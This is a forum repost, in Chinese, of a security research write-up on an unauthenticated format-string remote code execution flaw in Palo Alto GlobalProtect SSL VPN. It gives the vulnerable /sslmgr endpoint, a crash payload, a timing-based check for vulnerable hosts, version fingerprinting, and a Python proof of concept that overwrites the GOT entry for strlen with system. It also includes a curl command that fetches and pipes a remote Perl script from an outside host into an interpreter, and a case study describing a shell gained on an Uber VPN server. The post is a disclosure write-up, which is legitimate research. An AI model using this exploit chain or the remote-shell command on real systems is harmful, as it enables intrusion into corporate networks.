taibeihacker
Moderator
0x00 前言
SSL VPN雖然可以保護企業資產免受互聯網被攻擊的風險影響，但如果SSL VPN本身容易受到攻擊呢？它們暴露在互聯網上，可以可靠並安全地連接到內網中。一旦SSL VPN服務器遭到入侵，攻擊者就可以滲透到內網，甚至接管所有連接到ssl-vpn服務器的用戶！由於其重要性，在過去幾個月中，我們開始對安全領先的SSL VPN產品進行安全研究。我們計劃用3篇文章上發布我們的結果。我們把本文作為第一篇，因為我們認為這是一個有趣的故事，非常適合作為我們Black Hat USAandDEFCON的彩頭：
像NSA一樣滲透企業內網- 在安全領先的SSL VPN上執行RCE
不要擔心破壞者，這個故事不包含在我們的BHUSA/DEFCON會議中。
在我們即將到來的演示中，我們將提供更多的核心利用和瘋狂的bug鏈，來入侵您的SSL VPN。從我們如何越獄設備以及我們關注的攻擊向量來看。我們還將演示從唯一暴露的HTTPS端口獲取root shell，隱蔽地將服務器武器化以對抗其所有者，並濫用隱藏功能來接管所有VPN客戶端！所以請期待它;）
0x01 故事开头
在本文中，我們將討論Palo Alto SSL VPN上的漏洞。 Palo Alto稱他們的SSL VPN產品為GlobalProtect。您可以通過302重定向到/global-protect/login.esp Web根目錄輕鬆識別GlobalPortect服務！關於此漏洞，我們在紅隊評估服務期間意外發現了該漏洞。起初，我們以為這是0day。但是，我們在最新版本的GlobalProtect的遠程服務器上復現失敗.所以我們開始懷疑這是否是一個已知的漏洞。
我們在互聯網上搜索，但找不到任何有關的信息。在[1]沒有公開的RCE漏洞利用之前，沒有官方的諮詢包含任何類似的信息，也沒有CVE。
在之前的Pan-OS管理界面有一些漏洞，如CVE-2017-15944和@u fel1X的優秀troppers16論文，但不幸的是，他們沒有提及到globalprotect和管理界面只暴露了局域網端口。
0x02 The bug
這個bug非常簡單。它只是一個簡單的格式字符串漏洞，無需身份驗證！ sslmgr是處理服務器和客戶端之間的ssl握手的ssl網關。該守護進程由nginx反向代理代理，可以通過路徑/sslmgr進行訪問。$ curl https://global-protect/sslmgr
?xml version='1.0' encoding='UTF-8' ?
clientcert-response
statuserror/status
msgInvalid parameters/msg
/clientcert-response
在參數提取期間，守護程序搜索字符串scep-profile-name並將其值作為snprintf格式傳遞,以填充緩衝區。這導致格式字符串被攻擊。您可以使用%n！使服務崩潰！
POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36
scep-profile-name=%n%n%n%n%n.
0x03 影响版本
根據我們的調查，2018年7月之前的GlobalProtect都很脆弱！以下是影響版本列表:Palo Alto GlobalProtect SSL VPN 7.1.x 7.1.19
Palo Alto GlobalProtect SSL VPN 8.0.x 8.0.12
Palo Alto GlobalProtect SSL VPN 8.1.x 8.1.3
9.x和7.0.x系列不受此漏洞的影響。
0x04 如何验证BUG
雖然我們知道bug的位置，但驗證漏洞仍然不容易。此格式字符串沒有輸出，因此我們無法獲取洩漏的任何地址來驗證bug。而崩潰服務永遠不是我們的首選[1]。為了避免服務崩潰，我們需要找到一種不影響系統正常運行而驗證漏洞的方法！通過閱讀snprintf手冊，我們選擇%c作為我們的小工具！如果在格式化之前有一個數字，例如%9999999c，則snprintf會在內部重複請求相應的時間。我們觀察大量重複次數的響應時間來驗證這個漏洞！
$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr /dev/null
real 0m1.721s
user 0m0.037s
sys 0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr /dev/null
real 0m2.051s
user 0m0.035s
sys 0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr /dev/null
real 0m5.324s
user 0m0.021s
sys 0m0.018s
如您所見，響應時間隨著%c的數目而增加。因此，從時間差異來看，我們可以準確地識別易受攻擊的ssl-vpn！
雖然有一個監視程序監視sslmgr守護進程，但仍然不適合崩潰服務！
0x05 利用
一旦我們可以驗證bug，利用就很容易了。要成功利用二進製文件，我們需要首先確定詳細版本。我們可以通過Last-Modified標頭進行區分，例如8.x版本的/global protect/portal/css/login.css和7.x版本的/images/logo_pan_158.gif$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT
使用指定的版本，我們現在可以編寫自己的漏洞。我們簡單地將全局偏移表（GOT）上strlen的指針修改為系統的程序鏈接表（plt）。以下是其POC：
#!/usr/bin/python
import requests
from pwn import *
url='https://sslvpn/sslmgr'
cmd='echo pwned /var/appweb/sslvpndocs/hacked.txt'
strlen_GOT=0x667788 # change me
system_plt=0x445566 # change me
fmt='%70$n'
fmt +='%' + str((system_plt16)0xff) + 'c'
fmt +='%32$hn'
fmt +='%' + str((system_plt0xffff)-((system_plt16)0xff)) + 'c'
fmt +='%24$hn'
for i in range(40,60):
fmt +='%'+str(i)+'$p'
data='scep-profile-name='
data +=p32(strlen_GOT)[:-1]
data +='appauthcookie='
data +=p32(strlen_GOT+2)[:-1]
data +='host-id='
data +=p32(strlen_GOT+4)[:-1]
data +='user-email='
data +=fmt
data +='appauthcookie='
data +=cmd
r=requests.post(url, data=data)
修改完成後，sslmgr將成為我們的Webshell，我們可以通過以下方式執行命令：
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr
我們已向Palo Alto通過報告此bug。但是，我們得到了以下回复：
Hello Orange,
Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.
0x06 案例研究
在我們意識到這不是0day之後，我們調查了全世界的所有Palo Alto SSL VPN，看看是否有大公司在使用易受攻擊的GlobalProtect，Uber就是其中之一！根據我們的調查，Uber在全球擁有大約22台運行GlobalProtect的服務器，這裡我們以vpn.awscorp.uberinternal.com為例！從域名來看，我們猜測Uber使用的是來自AWS Marketplace的byol。從登錄頁面看，Uber似乎使用8.x版本，我們可以從概述頁面上支持的版本列表中找到可能的目標版本：
8.0.3
8.0.6
8.0.8
8.0.9
8.1.0
最後，我們找到了版本，它是8.0.6，我們得到了shell！
from :https://devco.re/blog/2019/07/17/at...o-Alto-GlobalProtect-with-Uber-as-case-study/